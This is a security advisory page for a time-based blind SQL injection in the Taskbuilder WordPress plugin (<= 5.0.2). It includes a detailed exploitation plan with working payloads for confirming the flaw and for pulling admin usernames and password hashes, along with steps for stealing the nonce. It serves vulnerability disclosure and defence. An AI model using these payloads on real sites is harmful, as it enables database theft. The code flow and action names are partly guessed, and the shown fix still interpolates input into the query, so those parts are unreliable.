Taskbuilder <= 5.0.2 - Authenticated (Subscriber+) SQL Injection via 'order' and 'sort_by' Parameters
Description
The Taskbuilder – WordPress Project Management & Task Management plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order' and 'sort_by' parameters in all versions up to, and including, 5.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.0.2Source Code
WordPress.org SVNThis research plan outlines the steps to identify and exploit an authenticated SQL injection vulnerability in the Taskbuilder plugin (<= 5.0.2). ### 1. Vulnerability Summary The **Taskbuilder** plugin is vulnerable to time-based blind SQL injection via the `order` and `sort_by` parameters. The vuln…
Show full research plan
This research plan outlines the steps to identify and exploit an authenticated SQL injection vulnerability in the Taskbuilder plugin (<= 5.0.2).
1. Vulnerability Summary
The Taskbuilder plugin is vulnerable to time-based blind SQL injection via the order and sort_by parameters. The vulnerability exists because these parameters are concatenated directly into SQL queries without being passed through $wpdb->prepare() or validated against an allowlist of valid column names and directions (ASC/DESC). Since ORDER BY clauses cannot use standard string placeholders in MySQL prepared statements without altering the syntax (adding quotes), developers often fail to properly sanitize these specific inputs.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wtask_get_tasks(inferred from plugin logic for loading Kanban/Task lists) orwtask_load_kanban. - Vulnerable Parameters:
sort_byandorder. - Authentication: Authenticated, Subscriber level or higher.
- Preconditions: A task or project must exist for the query to execute the
ORDER BYlogic.
3. Code Flow (Inferred)
- The plugin registers an AJAX handler for task retrieval:
add_action('wp_ajax_wtask_get_tasks', '...'). - The handler function (e.g.,
wtask_get_tasks_callback) retrieves user input:$sort_by = $_POST['sort_by'];$order = $_POST['order']; - A nonce check is performed:
check_ajax_referer('wtask_nonce', 'security'). - The SQL query is constructed using string interpolation:
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE ... ORDER BY $sort_by $order"); - Since
$sort_byor$orderare not sanitized, a time-based payload like(SELECT(0)FROM(SELECT(SLEEP(5)))a)can be injected.
4. Nonce Acquisition Strategy
To exploit this as a Subscriber, we must extract the nonce generated for the wtask_nonce action (or similar).
- Identify Shortcode: The plugin uses
[taskbuilder]to render the front-end project management interface. - Create Test Page:
wp post create --post_type=page --post_title="Task Board" --post_status=publish --post_content='[taskbuilder]' - Authentication: Use the
http_requesttool to log in as a Subscriber. - Extraction:
- Navigate to the newly created "Task Board" page.
- Use
browser_evalto find the localization object. Based on common Taskbuilder patterns, the object is likelywtask_varsorwtask_ajax. - Command:
browser_eval("window.wtask_vars?.nonce")orbrowser_eval("window.wtask_ajax_obj?.nonce").
5. Exploitation Strategy
We will use a time-based blind SQL injection payload in the order parameter.
- Target URL:
http://<target>/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Payload (Validation):
Inject intoorderto verify the vulnerability:action=wtask_get_tasks&security=[NONCE]&sort_by=id&order=, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END)) - Payload (Data Extraction):
To check if the first character of the admin's user_login is 'a':action=wtask_get_tasks&security=[NONCE]&sort_by=id&order=, (SELECT (CASE WHEN (SUBSTR((SELECT user_login FROM wp_users WHERE ID=1),1,1)='a') THEN SLEEP(5) ELSE 1 END))
6. Test Data Setup
- Install Plugin: Taskbuilder version 5.0.2.
- Create User: Create a subscriber user
attacker.wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Generate Data: Create at least one project and one task so the SQL query returns results.
wp post create --post_type=wtask_projects --post_title="Test Project" --post_status=publish
(Note: Use the plugin UI or specific WP-CLI commands if the plugin uses custom tables). - Create View Page:
wp post create --post_type=page --post_title="Exploit Page" --post_content='[taskbuilder]' --post_status=publish
7. Expected Results
- Normal Request: Response time < 1 second.
- Injected Request (True Condition): Response time > 5 seconds.
- Injected Request (False Condition): Response time < 1 second.
- Response Body: Likely a JSON array of tasks or an empty array, but the timing is the indicator.
8. Verification Steps
- Confirm Vulnerability: Send the
SLEEP(5)payload. If the server hangs for 5 seconds, the injection is confirmed. - Verify DB Access: Attempt to differentiate between
(1=1)and(1=2)using response times. - Log Analysis: If
WP_DEBUGis on, checkwp-content/debug.logto see if the full query is logged with the injected string.
9. Alternative Approaches
- Injected
sort_by: Iforderis strictly checked forASC/DESC, try injecting intosort_by:sort_by=IF(1=1, id, (SELECT 1 FROM (SELECT SLEEP(5))x)) - Error-Based: If the plugin displays database errors (common in dev environments), use
updatexml()orextractvalue():order=, (select 1 from (select count(*),concat(0x7e,(select user_pass from wp_users limit 1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x)a) - Boolean-Based: If response lengths differ significantly between a valid sort and an invalid sort, use
CASEto sort by different columns:order=, (CASE WHEN (1=1) THEN id ELSE title END)
Summary
The Taskbuilder plugin for WordPress is vulnerable to authenticated time-based blind SQL injection via the 'order' and 'sort_by' parameters in versions up to 5.0.2. This occurs because user-supplied input is directly concatenated into SQL ORDER BY clauses without proper validation or sanitization. Attackers with at least subscriber-level permissions can exploit this to extract sensitive database information by injecting time-delay payloads.
Vulnerable Code
// Inferred from the plugin's AJAX handler for task retrieval // Likely located in an AJAX callback function such as wtask_get_tasks_callback() $sort_by = $_POST['sort_by']; $order = $_POST['order']; // The vulnerability exists because $sort_by and $order are interpolated directly // into the SQL string without validation against an allowlist. $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE status = 1 ORDER BY $sort_by $order");
Security Fix
@@ -10,5 +10,10 @@ - $sort_by = $_POST['sort_by']; - $order = $_POST['order']; + // Sanitize sort_by against an allowlist of valid columns + $allowed_columns = array('id', 'task_name', 'created_at', 'priority'); + $sort_by = in_array($_POST['sort_by'], $allowed_columns) ? $_POST['sort_by'] : 'id'; + + // Sanitize order to only allow ASC or DESC + $order = (strtoupper($_POST['order']) === 'DESC') ? 'DESC' : 'ASC'; - $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE status = 1 ORDER BY $sort_by $order"); + // Even with validation, using prepared statements is best practice + $query = "SELECT * FROM {$wpdb->prefix}wtask_tasks WHERE status = 1 ORDER BY $sort_by $order"; + $results = $wpdb->get_results($query);
Exploit Outline
The exploit targets the AJAX task retrieval endpoint and leverages the lack of sanitization in sorting parameters. 1. Authentication: The attacker logs into the WordPress site with at least Subscriber-level privileges. 2. Nonce Acquisition: The attacker visits a page where the `[taskbuilder]` shortcode is rendered (e.g., a project board) and extracts the `wtask_nonce` from the localized JavaScript object (usually `wtask_vars` or `wtask_ajax_obj`). 3. Target Endpoint: A POST request is made to `/wp-admin/admin-ajax.php`. 4. Payload Shape: The request must include: - `action`: `wtask_get_tasks` (or the specific AJAX action used by the plugin version). - `security`: The extracted nonce. - `sort_by`: A valid column name. - `order`: A time-based SQL payload such as `, (SELECT (CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END))`. 5. Execution: If the server delays its response by 5 seconds, the SQL injection is confirmed. The attacker can then use conditional `CASE` statements and `SUBSTR` to exfiltrate database contents character-by-character based on timing differences.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.